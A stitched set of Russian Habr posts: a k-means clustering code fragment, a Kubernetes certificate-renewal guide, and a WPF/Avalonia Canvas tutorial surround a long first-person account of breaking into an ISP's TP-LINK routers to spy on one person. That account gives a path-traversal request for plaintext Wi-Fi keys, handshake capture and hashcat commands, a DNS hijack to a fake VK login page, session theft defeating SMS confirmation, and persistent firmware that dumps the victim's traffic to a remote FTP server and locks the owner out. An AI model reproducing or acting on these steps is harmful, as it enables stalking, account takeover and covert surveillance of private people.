cl->Add(vpt[i]);// Добавляем в близ лежащий кластер текущий пиксель
}
return clusarr;
}
```
И наконец главный цикл:
```
void Cluster::Start(int k, Cluster * clusarr, vector& vpt){
Cluster::InitialCenter(k,clusarr,vpt);
for(;;){//Запускаем основной цикл
int chk = 0;
Cluster::Bind(k,clusarr,vpt);//Связываем точки с кластерами
for(int j = 0; j < k;j++)//Высчитываем новые координаты центроидов
clusarr[j].SetCenter();
for(int p = 0; p
```
#### И что же из этого всего следует?
Вернемся к картинке с машинами, кластеризуя движущиеся объекты возникает проблема при использовании алгоритма к-средних, а именно мы не знаем сколько в данной сцене будет движущихся объектов, хотя можем приблизительно предугадать. Например кадр с машинами, на той сцене разумным будет предположить, что ну максимум там будет машин 10. Таким образом задавая на вход программе k = 10 и обведя точки 10 кластеров зелеными прямоугольниками, мы получим примерно следующую картину:
Теперь банально объеденив пересекающиеся прямоугольники, мы находим результирующие кластеры, обведя которые прямоугольником мы получим изображение преведенное в начале поста.Все просто. | https://habr.com/ru/post/165087/ | null | ru | null |
# К чему могут привести уязвимости в роутерах TP-LINK
На самом деле речь в данной статье пойдет не только об уязвимостях в роутерах TP-LINK, но и о том, как можно удаленно сделать из таких роутеров хак-станцию и чего можно при помощи этого достичь. А так же немного о том, как это было применено для получения доступа к странице ВКонтакте. Это своего рода история одного большого взлома, которая включает в себя все выше перечисленное.
Понадобилось мне однажды получить доступ к странице ВК одного человека, при том как можно более незаметно для пользователя, и я стал искать способы. Первое, что пришло в голову, скинуть жертве троян, ведь у меня еще давно был заготовлен собственноручно собранный скрытый TightVNC с backconnect’ом на мой IP + скрытый VLC player, который транслирует звук с микрофона в реальном времени так же на мой IP. При том он вообще не определялся как вредоносное ПО на VirusTotal. Но статья вовсе не об этом. Троян мне в итоге впарить удалось, как и заполучить доступ в ВК (просто скопировав cookies из браузера жертвы), но вскоре на компьютере юзверя была переустановлена ОС, и мне пришлось искать другой путь.
Единственное, что я знал – это то, какой у жертвы провайдер. Ну что же, начал я с того, что просканировал весь диапазон этого небезызвестного провайдера города N (по понятным причинам провайдера я называть не стану), и обнаружил чудесную вещь: на большинстве хостов открыт порт 8080. Сразу стало понятно, что это web-интерфейс роутера. Я уже было понадеялся на дефолтные admin admin (тогда бы это был полный крах для провайдера), но нет, пароль я подобрать так и не смог, хотя все же нашел с десяток роутеров, где стоял дефолтный пароль. Оказалось, что 90% всех роутеров составляют TP-Link TL-WR741ND и реже 740N, 841N, 941ND.
Тут все предельно ясно: провайдер дает в аренду пользователям одинаковые роутеры, настраивает им их при установке, а менять эти настройки юзверям просто лень. Становилось все интереснее и интереснее. Наверняка в таком случае должна быть какая-то закономерность в настройке, то есть пароли наверняка однотипные. Я решил погуглить, а нет ли в этих моделях каких-нибудь уязвимостей и, к моему удивлению на тот момент, я нашел их немало. Первое, что бросилось в глаза – это статья [«Бэкдор в роутерах TP-LINK»](http://habrahabr.ru/post/172799/).
Я тут же решил проверить данную уязвимость. Файлы закачивались в роутер, но он их не принимал, и тут я стал думать, а что вообще из себя представляет этот nart.out. Это бинарник под MIPS, который по сути может быть любым приложением, нужно только собрать его. Для начала я стал искать готовый вариант, т. к. раньше практически никогда не имел дело с кросс-компиляцией. К моему удивлению как раз в этот момент данным вопросом интересовался еще один человек: [Specx2](https://geektimes.ru/users/specx2/) (рекомендую, кстати говоря, к прочтению его [статью](https://geektimes.ru/post/253160/) о том, как собрать хак станцию из роутера, что, собственно я в итоге и сделал, только удаленно). Ему удалось на одном из китайских форумов найти netcat, скомпилированный под MIPS, кстати, как раз в том разделе, где обсуждалась данная уязвимость. Этот бинарник успешно запускался под QEMU, успешно заливался в роутер через найденный backdoor, но, почему-то, к роутеру подключиться не удавалось: просто не было коннекта и все. Товарищ Specx2 [предположил](http://www.opennet.ru/openforum/vsluhforumID10/5256.html), что дело может быть в том, что порт 2222 может быть просто закрыт, и нужно как-то заставить netcat запускаться на другом порту.
Мы попытались сами скомпилировать netcat под MIPS, но задать опцию дефолтного порта так и не смогли. Далее мы использовали дизассемблер, но так же безуспешно. И тут я решил открыть этот бинарник обычным Notepad++, и, к своему удивлению нашел там заветные 2222. Это число можно было без проблем менять на любое другое, главное – чтобы количество символов в файле не изменилось. Порт действительно менялся, все было протестировано на QEMU, только вот заставить его заработать на роутере нам так и не удалось.
Я не оставил своих попыток заполучить контроль над роутером и стал искать другие уязвимости. Вскоре я наткнулся на [этот пост](http://forum.ixbt.com/topic.cgi?id=14:58897). И действительно: на 841 и 941 моделях присутствовал шелл по адресу
```
/userRpmNatDebugRpm26525557/linux_cmdline.html
```
Только вот пароль от роутера все равно нужно было знать, да и у пользователей данного провайдера в основном были 741 модели. Мне удалось найти роутер с дефолтным паролем и данным шеллом, хоть и очень урезанным. Таким образом я получил доступ к файловой системе роутера. Ничего ценного, к сожалению, мне найти не удалось, да и шелл работал не совсем корректно. Неужели и в правду разработчики через него делают отладку?
Казалось, что это тупик, долгое время у меня не было ни одной зацепки, но что-то подсказывало мне, что уязвимости все же есть. И тут я выяснил, что роутер не фильтрует GET запросы. То есть по умолчанию при неверно введенном пароле открывается страница /help, но если мы, к примеру, сделаем такой запрос:
```
GET IP:port/help/../../
```
То мы попадем в корень файловой системы роутера. Таким образом мы можем скачать практически любой файл из ФС роутера даже не зная пароля. Это оказалась первая успешно работающая уязвимость из всех найденных мной. Но что она нам дает, если мы можем только скачивать файлы и при этом не знаем, где хранится пароль?
После недолгих поисков мне все же удалось найти интересный файл по адресу /tmp/ath0.ap\_bss, в котором хранится пароль от Wi-Fi в открытом виде. Я тут же решил проверить это на одном из роутеров пользователей данного провайдера.
```
GET IP:8080/help/../../tmp/ath0.ap_bss
```
Как оказалось, люди там работают довольно ленивые, и ставят одинаковые пароли на web-интерфейс роутера и Wi-Fi, так что, узнав пароль от Wi-Fi при помощи данной уязвимости, мы автоматически узнаем и пароль от web-интерфейса. Как правило, это 8 цифр. Реже – цифры с буквами. Опять же 8. С этого момента я мог получить доступ к роутеру почти любого юзверя, который не сменил пароль, установленный провайдером, а не менял его практически никто. Правда, на некоторых роутерах все же стояла последняя версия прошивки, и данная уязвимость не работала, но таких было не так уж и много. Тут же я узнал и еще один интересный момент. SSID всех точек содержали вторую половину внутреннего IP-адреса пользователя, а первая была у всех одинаковой. Оказалось так же, что и в личном кабинете на сайте пароль был таким же. И эта вторая половина внутреннего IP являлась номером договора. То есть по номеру договора пользователя можно было вычислить внутренний IP.
Несмотря на то, что все юзвери имели реальный внешний IP (хоть и динамический), я решил поднять на нескольких из ASUS’овских роутерах, где был дефолтный пароль, VPN-сервер. Благо такая возможность была вшита в прошивку по умолчанию. Таким образом у меня появился доступ во внутреннюю сеть провайдера.
Но до взлома ВК было еще далеко. Я даже не знал IP жертвы. Ни внешнего, ни внутреннего. Существует множество способов узнать внешний IP, и я это сделал. Что же, начнем изучать. Во-первых, он отвечал на ping-запросы, что уже хорошо. Во-вторых, я знал, что у жертвы тоже стоит роутер (это так же можно понять по TTL, т. к. у подавляющего большинства пользователей установлена ОС Windows, а TTL винды по умолчанию 128), при том наверняка той же модели. Но, к моему глубокому сожалению, все порты у жертвы оказались закрыты, и доступа к вебморде извне не было. Но я знал, что он в любом случае есть через LAN, но для этого нам необходимо подключиться к этому роутеру через беспроводной интерфейс, а так же подобрать пароль от админки, что было бы очень проблематично, ведь я так и не смог на тот момент найти, где он хранится. Хотя сейчас мне уже известно, что он хранится в **/dev/mtdblock3**, но этот блок не монтируется, поэтому прочитать его через описанную уязвимость невозможно.
Так же я узнал, что логином от VPN подключения для доступа в интернет являются инициалы и фамилия юзверя или ее часть, а пароль все тот же. Я стал думать, как же мне найти нужного мне пользователя? Может я все-таки ошибся в тот раз с определением IP, и он уже успел поменяться, пока я попытался законнектиться к вебморде? Первое, что пришло в голову – это простой перебор всех роутеров. Но количество абонентов у провайдера довольно большое. Просканировав весь диапазон, я обнаружил порядка 3000 роутеров с удаленным доступом к web-интерфейсу. И нужно было как-то найти среди них нужный, если он вообще там есть.
Сначала я пытался написать скрипт, который бы при помощи найденной уязвимости узнавал пароль, а далее скачивал бы страничку настройки сети и сохранял ее. Но в этом я слаб, и, отбросив через некоторое время эту идею, я решил использовать обычный кликер. С горем пополам я (вернее кликер) обработал весь диапазон. Далее я сделал поиск по файлам с настройками (надеясь найти жертву по фамилии в логине от vpn-соединения), но ничего нужного мне я так и не нашел.
Я стал копать дальше и обнаружил, что любым взломанным роутером можно через web-интерфейс просканировать окружающие его точки доступа. Таким образом, у меня появилась безумная идея: взломать соседа жертвы этой уязвимостью, чтобы затем его роутером попытаться взломать пароль от Wi-Fi жертвы и зайти в web-интерфейс уже через LAN, т. к. проделывать путь в пару тысяч километров без уверенности в успехе было неразумным, да и просто возможности не было. Но и осуществить задуманное на тот момент казалось немыслимым. Как отыскать соседа?
Вспомним, что вторая часть внутреннего IP содержится в SSID. Она же совпадает с номером договора. Было бы неплохо узнать SSID точки доступа пользователя, чтобы можно было ее найти. Что я сделал? Да просто взял и написал в техподдержку провайдера, представившись пользователем, якобы я хочу оплатить инет, но забыл номер договора. И мгновенно получил ответ, благо я знал ФИО и адрес. Таким образом я узнал внутренний IP жертвы, который кстати является статическим (так что нет смысла постоянно вычислять динамический внешний, т. к. есть доступ во внутреннюю сеть через VPN на одном из взломанных роутеров). Так же у меня появился предположительный SSID данного пользователя, так что у меня уже было, с чем работать.
Задача заключалась в том, чтобы заходить во все подряд роутеры и одним из них обнаружить в округе роутер с заветным SSID. Задача опять же была не из легких, но вспомним, что у нас есть доступ в личный кабинет, где указывается адрес проживания пользователя. Проведя несколько экспериментов, я понял, что есть некая закономерность между внутренним IP и адресом пользователя. То есть не обязательно, что соседи будут в одной подсети, но как минимум в соседних, к примеру: 10.168.155.0 и 10.168.158.0. Так что, найдя методом научного тыка пользователя, проживающего недалеко от жертвы, я стал перебирать все роутеры в соседних подсетях. В итоге, заветного SSID я не нашел, но я нашел 2-х соседей, увидев их адрес в личном кабинете. У меня голова взрывалась: как же так, соседей нашел, но нужной точки доступа рядом нет. Все же она была, просто с измененным SSID, и я угадал, каким. Это оказалось несложно.
Отлично! Роутер нашли, как и соседей, потратив, правда, на это очень много времени. Что же дальше? Нужно как-то получить пароль от беспроводной сети, но для этого нам нужно либо перехватить handshake и подобрать по нему пароль (защита там WPA2-PSK), либо подобрать WPS PIN, т. к. по дефолту WPS включен, но на большинстве роутеров он блокируется после 10 неверных попыток. Как нам вообще осуществить хотя бы что-то из этого? Ведь на роутерах соседей нет специализированного софта. И тут пришла мысль перепрошить их роутеры OpenWRT, ведь эта прошивка больше всех приближена к настоящему линуксу, а так же под нее есть пакеты aircrack-ng, reaver и многие другие. Товарищ [Specx2](https://geektimes.ru/users/specx2/) даже Bully под него собрал. Оставалась только одна проблема: как перепрошить роутер удаленно и не потерять доступ к нему? Ведь после перепрошивки все настройки сбрасываются в дефолт.
Я долго мучился с этим вопросом, считал, что нужно собирать всю прошивку с нуля из исходников и каким-то образом предварительно вбить туда настройки, но все оказалось гораздо проще. Я даже не знал о существовании [OpenWRT Image Builder](http://wiki.openwrt.org/doc/howto/obtain.firmware.generate). С ним я разобрался довольно быстро, однако нужно было правильно подобрать набор пакетов, т. к. объем прошивки не может превышать 4MB, а это мало, учитывая то, что многие тянут за собой нехилый список зависимостей. Следующая проблема заключалась в том, что доступ в инет юзверь получает только после установки VPN соединения с сервером провайдера, но тогда весь трафик уходил в туннель, и я терял связь с роутером. Так что, да простит меня сосед, оставил я его без инета. Успешно прошив его роутер (предварительно оставив еще пару десятков пользователей без инета в ходе неудачных экспериментов), я сразу же перевел сетевую карту роутера в **monitor mode**
```
ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0
```
И запустил **airodump-ng**.
```
airodump-ng mon0 –c номер_канала –bssid MAC_роутера_жертвы –w /tmp/123
```
Перехватить handshake труда не составило. Я тут же скачал дамп с роутера при помощи **SCP**
```
scp –P port user@host:/tmp/123-01.cap ~/123.cap
```
Отфильтровал его от лишних пакетов в Wireshark:
```
wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol
```
И [конвертировал](https://hashcat.net/cap2hccap/) в формат .hccap для Hashcat. Я заранее подготовил небольшой словарик, который помог мне взломать немало беспроводних сетей, а так же я добавил туда все возможные пароли, которые могли бы быть использованы данным пользователем.
```
oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt
```
К счастью, уже через пару секунд пароль был найден! Но ведь нужно было еще как-то законнектиться к роутеру в режиме клиента! Только тогда WAN для роутера соседа опять же изменится, и я потеряю доступ к нему. Я так и не смог придумать, как решить эту проблему, поэтому пришлось попросить человека прийти к жертве, законнектиться с телефона и открыть удаленный доступ (сейчас могу предположить, что нужно было просто заранее добавить статические маршруты в прошивку). Благо пароль от web-интерфейса оказался дефолтным admin admin.
Все прошло успешно! У меня уже был подготовлен дальнейший план действий. На своем real IP без фильтрации я поднял DNS-сервер, где изменил запись для vk.com и поменял ее на свой IP, где так же был поднят HTTP сервер с PHP. Туда, соответственно, был залит fake страницы авторизации vk.com, а в роутере DNS-сервер был изменен на мой. Пользователь, зайдя на vk.com, попал на мой fake, и, таким образом, пароль оказался у меня, цель достигнута!
Долгое время я использовал этот способ, чтобы получить пароль, но однажды было включено хваленое подтверждение входа на vk.com, которое, как утверждают сами создатели, обойти практически невозможно. Суть заключается в том, что при авторизации с нового устройства/браузера в случае ввода верного пароля необходимо также дополнительно ввести код из смс, которое отправляется на номер владельца. Но на этот случай у меня уже давно была подготовлена теория, которая пока не проверялась.
Первым делом я попытался понять, каким именно образом сервер определяет, что вход производится с нового устройства. Все оказалось довольно просто: в браузер добавляется новый Cookie (если мне не изменяет память, то называется remixttpid), который передается только через шифрованное соединение. И по нему уже сервер определяет браузер, с которого разрешен вход. Если не ошибаюсь, User-Agent тоже должен совпадать. Таким образом, нам достаточно перехватить этот cookie, чтобы успешно залогиниться с известным паролем, но это сделать довольно сложно: нужно пропускать трафик пользователя через mitmproxy, да так, чтобы он еще и залогинился в этот момент. К тому же пользователь заметит предупреждение браузера о несовпадении сертификата. Зачем так извращаться, подумал я, если можно просто перехватить уже существующую сессию? Ведь проверка браузера производится только в момент логина, но не производится при любых запросах с уже существующей сессии! Следовательно, нам всего-то нужно перехватить *remixsid*, который, к тому же, передается через незащищенное соединение, т. к. юзверь не использует https.
Проблема заключалась только в том, что *remixsid* вяжется к IP пользователя, а если он меняется, то используются и cookies для login.vk.com, которые передаются только через шифрованное соединение, и перехватить их сложнее. Но мне повезло. К тому времени провайдер стал предоставлять доступ в инет без необходимости установки VPN соединения, а значит я мог просто поднять свой PPTP-сервер и в настройках роутера юзверя настроить к нему подключение. Так я и сделал, весь трафик пошел через меня, и юзверь, сам того не зная, создал сессию, привязанную к моему IP, которая была без проблем перехвачена. Далее я просто вернул прежние настройки и пользуюсь перехваченной сессией (благо IP у меня статический). SMS-защита успешно сломана!
Все бы ничего, но и на этом я не остановился. Дело в том, что если пользователь вдруг поймет, в чем дело, он просто может поменять пароль от настроек роутера и от Wi-Fi. Чтобы это предотвратить, я занялся сборкой OpenWRT под роутер юзверя. Нужно было все предусмотреть. Для удобного мониторинга трафика жертвы я смонтировал FTP-сервер как файловую систему при помощи curlftpfs. Туда пишутся дампы. Весь этот процесс описан в данной [статье](http://habrahabr.ru/post/85084/). Изначально я планировал смонтировать облако как файловую систему, для чего использовал **davfs2**, который тоже было непросто [собрать под OpenWRT](https://forum.openwrt.org/viewtopic.php?id=40607), но проблема заключалась в том, что файл записывался сначала в кэш, а только потом заливался в облако. Следовательно размер файла ограничивался размером кэша, который чрезвычайно мал. Поэтому я выбрал curlftpfs. Трафик записывался при помощи tcpdump и разбивался на файлы по 512МБ.
```
tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &
```
Где /root/ftp/dump – это наша файловая система на ftp. Все это дело можно поместить в автозапуск (/etc/rc.local).
Вообще итоговый набор пакетов для прошивки OpenWRT Attitude Adjustment 12.09 выглядел таким образом:
```
make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/
```
Curlftpfs занимает большую часть памяти, но дает нам ее неограниченное количество на ftp. Tcpdump дает возможность круглосуточно записывать трафик жертвы, а tinyproxy – выходить в инет с IP жертвы, то есть, перехватив *remixsid* к примеру, мы можем так же зайти в ВК пользователя с его же IP при помощи tinyproxy, либо можем просто перенаправить его трафик на свой прокси таким образом:
```
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port
```
В общем, можем полностью рулить трафиком. Так же можно устанавливать пакеты на смонтированную ftp файловую систему, для этого используем **opkg –dest**, предварительно указав название и адрес для нашей файловой системы в **/etc/opkg.conf**. Вся остальная конфигурация так же должна быть заранее прописана в соответствующих файлах.
```
/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
и др.
```
Все эти файлы должны быть заранее подготовлены, чтобы вшить их в прошивку. Собственно, что нам это дает помимо дополнительных возможностей? А дело в том, что файловая система squashfs является read-only. Соответственно юзверь никаким образом не сможет изменить заданные мной настройки по умолчанию. При всем желании он даже через telnet не сможет подключиться, т. к. в *rc.local*, который вшит в прошивку, есть строчка
```
echo –e “pass\npass” | passwd root
```
То есть доступ через telnet рубится сразу же после загрузки роутера, а пароль от SSH есть только у меня. Сброс в дефолт физической кнопкой тут так же не получится, т. к. дефолт задан мной и вшит в прошивку. Цель достигнута.
В связи с переводом всех пользователей на IPoE в недавнее время и отказом от VPN, все они оказались за NAT’ом, включая роутеры, на которых мною был поднят VPN для доступа во внутреннюю сеть провайдера. Кроме тех, кто подключил себе услугу «Статический IP», разумеется. Но и тут проблема: те, кто хочет реальный IP, должны все еще использовать VPN для доступа в интернет. Пришлось мне помучиться и собрать OpenWRT с вшитым и настроенным PPTP-клиентом (а работает он почему-то действительно криво), а так же вшитым и настроенным OpenVPN сервером. Немало роутеров погибло в ходе экспериментов, но результат в итоге был достигнут. Залив на несколько роутеров (из немногих оставшихся с real IP) такую прошивку, я имею стабильный доступ во внутреннюю сеть при помощи OpenVPN.
Проблема с подключением PPTP VPN заключалась в том, что сервера провайдера не поддерживают шифрование. Это удалось пофиксить добавлением строчки в **/etc/ppp/options.pptp**.
```
nomppe
```
В остальном процесс настройки PPTP VPN клиента и OpenVPN сервера ничем не отличался от мануалов по OpenWRT.
Надеюсь, данная статья будет кому-то интересна, и кто-нибудь узнает из нее для себя что-то новое.
**UPD:** Как написал в комментах [ValdikSS](https://geektimes.ru/users/ValdikSS/), вместо curlftpfs+tinyproxy можно использовать OpenSSH, который более функционален. | https://habr.com/ru/post/381573/ | null | ru | null |
# Что делать, если протухли сертификаты и кластер превратился в тыкву?
Если в ответ на команду `kubectl get pod` вы получаете:
```
Unable to connect to the server: x509: certificate has expired or is not yet valid
```
то, скорее всего, прошел год, у сертификатов вашего kubernetes закончился срок действия, компоненты кластера перестали их использовать, взаимодействие между ними прекратилось и ваш кластер превратился в тыкву.
Что же делать и как восстановить кластер?
Для начала нам надо понимать, где находятся сертификаты, которые необходимо обновить.
В зависимости от способа, которым устанавливался кластер, расположение и название файлов с сертификатами может меняться. Так, например, Kubeadm при создании кластера раскладывает файлы с сертификатами согласно [best-practices](https://kubernetes.io/docs/setup/best-practices/certificates/). Таким образом, все сертификаты находятся в каталоге `/etc/kuberenetes/pki`, в файлах с расширением `.crt`, приватные ключи, соответственно, — в файлах `.key`. Плюс в `/etc/kubernetes/` лежат `.conf` файлы с конфигурацией доступа для user accounts администратора, контроллер менеджера, шедулера и kubelet с мастер-узла. Сертификаты в `.conf` файлах лежат в поле user.client-certificate-data в base64-кодированном виде.
Посмотреть на срок действия, кому выписан и кем подписан сертификат, можно с помощью вот этого небольшого скрипта shcert
**shcert**
```
#!/bin/bash
[ -f "$1" ] || exit
if [[ $1 =~ \.(crt|pem)$ ]]; then
openssl x509 -in "$1" -text -noout
fi
if [[ $1 =~ \.conf$ ]]; then
certfile=$(mktemp)
grep 'client-certificate-data:' "$1"| awk '{ print $2}' | base64 -d > "$certfile"
openssl x509 -in "$certfile" -text -noout
rm -f "$certfile"
fi
```
Еще есть сертификаты, которые используют kubelet на рабочих узлах для аутентификации в API. Если для добавления узлов в кластер вы использовали kubeadm join, то, скорее всего, узел был подключен по процедуре [TLS bootstrapping](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) и в таком случае kubelet умеет обновлять свой сертификат автоматически, если ему задана опция `--rotate-certificates`. В последних версиях kubernetes эта опция уже включена по умолчанию.
Проверить, что узел подключен по процедуре TLS bootstrap достаточно просто — в этом случае в файле `/etc/kubernetes/kubelet.conf` в поле client-certificate обычно указан файл `/var/lib/kubelet/pki/kubelet-client-current.pem`, который является симлинком на текущий сертификат.
Посмотреть сроки действия этого сертификата можно так же, с помощью скрипта `shcert`
**Возвращаемся к проблеме обновления сертификатов.**
Если вы ставили кластер с помощью kubeadm, то у меня для вас хорошие новости. Начиная с версии 1.15 kubeadm умеет обновлять почти все сертификаты control plane одной командой
```
kubeadm alpha certs renew all
```
Эта команда обновит все сертификаты в каталоге /etc/kubernetes, даже если они уже закончились и все сломалось.
Не будет обновлен только сертификат kubelet — это тот, который лежит в файле `/etc/kubernetes/kubelet.conf`!
> Update: kubeadm, начиная с версии 1.17, включает на всех узлах (даже на первом мастере, где делался kubeadm init) автообновление сертификата кублета. Проверить очень просто — в `/etc/kubernetes/kubelet.conf` в поле клиентского сертификата будет указан путь к файлу `/var/lib/kubelet/pki/kubelet-client-current.pem`
Для обновления этого сертификата надо воспользоваться командой создания user account
```
kubeadm alpha kubeconfig user --client-name system:node:kube.slurm.io --org system:nodes > /etc/kubernetes/kubelet.conf
```
При наличии в системе user account эта команда обновляет сертификат для этого аккаунта. Не забываем указывать правильное название узла в опции `--client-name`, подсмотреть название узла можно в поле Subject существующего сертификата:
```
shcert /etc/kubernetes/kubelet.conf
```
И конечно же, после обновления сертификатов надо перезапустить все компоненты control plane, перезагрузив узел целиком или остановив контейнеры с etcd, api, controller-manager и scheduler командой `docker stop`, и затем отрестартить kubelet `systemctl restart kubelet`.
Если ваш кластер старой версии: например 1.13 или меньше. То просто обновить kubeadm до версии 1.15, командой типа `yum install kubeadm-1.15.0`, не получится, так как он тянет за собой по зависимостями kubelet и kubernetes-cni, что может вызывать проблемы, так как работоспособность компонентов кластера, различающихся по версиям более чем на одну ступень, не гарантируется. Самый простой выход из данной ситуации — это установить kubeadm на какой-нибудь другой машине, взять бинарный файл `/usr/bin/kubeadm`, скопировать на мастер-узлы умершего кластера и использовать его только для обновления сертификатов. А уже после оживления кластера обновить его пошагово штатными способами, устанавливая каждый раз kubeadm на одну версию новее.
Update: Можно напрямую скачать kubeadm. Например команда для версии kubeadm 1.17.4:
```
curl -L -o /tmp/kubeadm https://dl.k8s.io/release/v1.17.4/bin/linux/amd64/kubeadm
```
И наконец, с версии 1.16 kubeadm научился-таки продлевать все-все сертификаты при обновлении кластера командой `kubeadm upgrade`. Так что если вы регулярно обновляете свой кластер, не реже одного раза в год, ваши сертификаты всегда будут действительны.
А вот если кластер установлен не с помощью kubeadm, то тогда придется взять в руки openssl и обновлять все сертификаты в индивидуальном порядке.
Проблем добавляет то, что в сертификатах содержатся расширенные поля, и разные инструменты установки кластера могут добавлять свой набор полей. Причем названия этих полей в конфигурации openssl и в выводе содержимого сертификата коррелируют, но слабо. Надо гуглить и подбирать.
Я приведу пример конфигурации для openssl, в отдельных секциях которого описываются расширенные атрибуты, свои для каждого типа сертификата. На соответствующую секцию будем ссылаться при создании и подписывании csr. Эта конфигурация использовалась для оживления кластера, установленного год назад ранчером.
**openssl.cnf**
```
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_req
[v3_req]
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth
[client]
keyUsage = critical,digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth
[apiproxyclient]
keyUsage = critical,digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth, serverAuth
[etcd]
keyUsage = critical,digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth, serverAuth
subjectAltName = @alt_names
[api]
keyUsage = critical,digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth, serverAuth
subjectAltName = @alt_names
[alt_names]
DNS.1 = ec2-us-east-1-1a-c1-master-2
DNS.2 = ec2-us-east-1-1a-c1-master-3
DNS.3 = ec2-us-east-1-1a-c1-master-1
DNS.4 = localhost
DNS.5 = kubernetes
DNS.6 = kubernetes.default
DNS.7 = kubernetes.default.svc
DNS.8 = kubernetes.default.svc.cluster.local
IP.1 = 10.0.0.109
IP.2 = 10.0.0.159
IP.3 = 10.0.0.236
IP.4 = 127.0.0.1
IP.5 = 10.43.0.1
```
Актуальные атрибуты и дополнительные имена в сертификате можно посмотреть с помощью команды
```
openssl x509 -in cert.crt -text
```
При продлении сертификата для API сервера у меня возникала проблема: обновленный сертификат не работал. Решением стала выписка сертификата, который был действителен на 1 год в прошлом.
В openssl нельзя простой командой выпустить сертификат, действительный в прошлом, в коде жестко указано, что сертификат действует только с текущего момента. Но можно локально переместиться в прошлое с помощью библиотеки libfaketime
```
yum install libfaketime
LD_PRELOAD=/usr/lib64/faketime/libfaketime.so.1 FAKETIME="-365d" openssl x509 -req ...
```
Выпускаем продленные сертификаты по следующему алгоритму:
Создаем CSR по существующему сертификату, указываем нужный раздел со списком расширенных аттрибутов в файле конфигурации:
```
openssl x509 -x509toreq -in "node.cert" -out "node.csr" -signkey "node.key" -extfile "openssl.cnf" -extensions client
```
Подписываем его соответствующим корневым сертификатом, смещая время на 1 год назад и указывая нужный раздел со списком расширенных аттрибутов в файле конфигурации
```
LD_PRELOAD=/usr/lib64/faketime/libfaketime.so.1 FAKETIME="-365d" openssl x509 -req -days 36500 -in "node.csr" -CA "kube-ca.pem" -CAkey "kube-ca-key.pem" -CAcreateserial -out "node.new.cert" -extfile "openssl.cnf" -extensions client
```
Проверяем атрибуты и перезапускаем компоненты control plane.
Сергей Бондарев,
преподаватель Слёрма
[slurm.io](https://slurm.io) | https://habr.com/ru/post/465733/ | null | ru | null |
# Как подружить Canvas и ItemsSource в WPF и AvaloniaUI
Предпосылки: понимая, что контейнеры компоновки в WPF не позволяют сделать привязки (Binding) к своим дочерним элементам, решил поэкспериментировать, а как же всё-таки подсунуть данные из View Model для формирования содержимого в эти самые контейнеры компоновки. Позже аналогичное решение было сделано для AvaloniaUI.
Кроме того, я стал регулярно обращать внимание на то, что подобные вопросы появлялись в телеграме в чатах [pro.net](https://t.me/pro_net) и [AvaloniaUI (RU)](https://t.me/AvaloniaRU), поэтому своё решение опубликовал на [гитхабе](https://github.com/a-tk-by/itemssource-for-canvas). Но вопросы продолжают появляться регулярно, что и сподвигло меня написать статью на Хабре с пошаговым разбором, что делать.
Итак, если Вас эта тема заинтересовала, добро пожаловать под кат.
Базовое решение на самом деле достаточно простое: достаточно посмотреть, в какой момент возникает свойство `ItemsSource`: это [ItemsControl](https://docs.microsoft.com/en-us/dotnet/api/system.windows.controls.itemscontrol.itemssource?view=windowsdesktop-6.0). Этот `ItemsControl` предлагает также свойство [ItemsPanel](https://docs.microsoft.com/en-us/dotnet/api/system.windows.controls.itemscontrol.itemspanel?view=windowsdesktop-6.0) - указывает панель (то есть контейнер компоновки), который должен будет использоваться для размещения элементов, притом значением по умолчанию является `StackPanel`.
Давайте поставим задачу следующим образом: делаем максимально простую View Model. Пускай это будет набор квадратов разного цвета и текстом, которые мы хотим спозиционировать по `Canvas`-у. Для самого `Canvas`-а при этом вычисляется размер исходя из размеров элементов. Пока без динамики, чтобы не засорять код.
```
internal class ViewModel
{
public List Items { get; } = new List()
{
new Item {X = 100, Y = 200, Size=100, Color = Colors.Cyan, Text = "First"},
new Item {X = 500, Y = 300, Size=200, Color = Colors.Yellow, Text = "Second"},
new Item {X = 300, Y = 500, Size=150, Color = Colors.Red, Text = "Third"},
};
public int Width => Items.Max(x => x.X + x.Size);
public int Height => Items.Max(x => x.Y + x.Size);
}
internal class Item
{
public int X { get; init; }
public int Y { get; init; }
public int Size { get; init; }
public Color Color { get; init; }
public string Text { get; init; }
}
```
Создадим представление:
```
```
Всё по классике: создали `ItemsControl`, привязали свойства, заменили `ItemsPanel`, сделали `DataTemplate` для элемента коллекции. Однако как сделать так, чтобы элементы позиционировались в `Canvas`'е? И вот тут начались приключения.
По идее надо всего-то задать прикреплённые свойства `Canvas.Left` и `Canvas.Top`. Но для какого элемента это нужно сделать? Если задать для `Rectangle` в `DataTemplate`, то работать не будет, пробовал.
Подсказка к решению этой проблемы скрывается в том, как трансформируется дерево элементов, когда есть привязка списка.
А если конкретнее, то каждый элемент списка оборачивается в элемент `ContentPresenter` и его содержимое уже связывается с соответствующим элементом данных. Собственно, в этот момент и становится ясно, что нужно сделать: через стили сконфигурировать этот самый `ContentPresenter`.
Скриншот сделан с помощью Avalonia DevTools.Собственно, выходим на решение:
```
<Setter Property="Canvas.Left" Value="{Binding X}" />
<Setter Property="Canvas.Top" Value="{Binding Y}" />
```
С Авалонией всё примерно то же самое с точностью до имён некоторых свойств (найдите десять отличий, ага):
```
<Setter Property="Canvas.Left" Value="{Binding X}" />
<Setter Property="Canvas.Top" Value="{Binding Y}" />
```
Собственно, всё. Точно так же можно подсовывать данные в любой контейнер компоновки, элементы которого требуют конфигурирования через присоединённые свойства: `Grid`, `DockPanel` и любой другой.
На этом у меня всё, надеюсь, информация оказалась полезной. | https://habr.com/ru/post/686438/ | null | ru | null |
# Ускорение процесса разработки под Embedded Linux
